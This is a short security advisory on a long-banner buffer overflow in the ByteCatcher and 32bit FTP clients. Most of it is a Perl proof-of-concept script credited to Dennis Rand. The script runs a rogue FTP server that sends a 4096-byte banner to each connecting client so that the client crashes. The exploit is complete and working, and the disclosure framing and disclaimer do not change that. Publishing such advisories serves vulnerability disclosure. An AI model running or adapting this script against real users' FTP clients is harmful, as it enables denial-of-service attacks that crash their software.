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ByteCatcher FTP Client Long Server Banner Buffer Overflow Vulnerability

The following proof of concept code was supplied by Dennis Rand <matrix@infowarfare.dk>:

#!/usr/bin/perl
######################################################
#
# Affected systems:
# 32bit FTP Client version p9.49.01
# ByteCatcher FTP Client V1.04b
# Possible many other clients, got this problem to
#
# http://www.infowarfare.dk
#
# Dennis Rand - Matrix@infowarfare.dk
#
# When FTP client connects to this server they will CRASH
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
#
#
#
#######################################################
use IO::Socket;
$port = "21";
$data = "a";
$num = "4096";
$buf .= $data x $num;
$server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM, Reuse
=> 1, Listen => 2)
or die "Couldn't create tcp-server.\n";
while ($client = $server->accept()) {
print "Client connected.\n";
print "Attacking...";
print $client "$buf";
print "OK\n";
close($client);
}